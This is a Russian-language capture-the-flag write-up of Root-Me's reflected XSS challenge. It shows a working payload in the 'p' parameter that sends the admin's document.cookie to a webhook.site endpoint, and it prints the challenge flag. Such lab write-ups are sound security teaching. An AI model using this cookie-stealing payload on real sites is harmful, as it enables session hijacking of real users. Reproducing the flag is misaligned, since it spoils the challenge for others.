WebPentest
May 28

WebPentest #3. Reflected XSS

Здесь нужно заполучить куки администратора...

Задача: https://www.root-me.org/en/Challenges/Web-Client/XSS-Reflected

Target: http://challenge01.root-me.org/web-client/ch26/

Подсказка: для приема куков можно использовать сервис webhook.site.

Разбор

  • Исследуем веб-сайт и его функциональность. Здесь смоделирован функционал блога, где есть форма обратной связи Contact Us.
  • Проверяем есть ли тут уязвимость. Попробуем отправить тестовый payload вида "alert('test')".
  • В самой форме уязвимостей нет, т.к. она просто отправляет данные на сервер и не дает никакого ответа. Однако можно попробовать проверить сам GET запрос, который использует эта форма.
http://challenge01.root-me.org/web-client/ch26/?p=contact

Тут название формы передается в виде параметра. Если попробовать ввести другое название, мы получим форму 404, где это значение будет вставлено в ссылку.

  • Попробуем отправить тестовый payload в качестве параметра.
http://challenge01.root-me.org/web-client/ch26/?p=test' onmouseover='alert(1)'
  • Уязвимость найдена, это Reflected XSS - то есть вредоносный код, который возникает, когда приложение получает данные в HTTP-запросе и включает их в немедленный ответ небезопасным способом.
    Вот тут можно почитать более подробно про этот вид уязвимости.
  • Тогда идея в следующем: создадим payload, в котором при наведении мыши на ссылку сработает запрос на наш тестовый сервис и в качестве одного из параметров отправим куки текущего пользователя. Далее отправим этот отчет администратору, нажав на кнопку отправки. Далее, когда админ наведет на эту ссылку, мы получим его куки.
    Используем следующую нагрузку
http://challenge01.root-me.org/web-client/ch26/?p=unilecs' onmouseover='document.location="https://webhook.site/567262a0-8aea-4281-a590-89501c55212e?".concat(document.cookie)
  • Для создания тестового сервера, воспользуемся сервисом https://webhook.site/, он создаст нам временный эндойнт, куда мы и отправим куки админа.
  • Ждем, когда наш отчет посмотрит администратор и мы получим его куки.
  • Когда это произойдет, мы получим ответ вида:
https://webhook.site/6aaf7ecb-938c-400f-a262-0c321d17d5bd/flag=NkI9qe4cdLIO2P7MIsWS8ofD6
  • Мы получили куки админа.

flag=r3fL3ct3D_XsS_fTw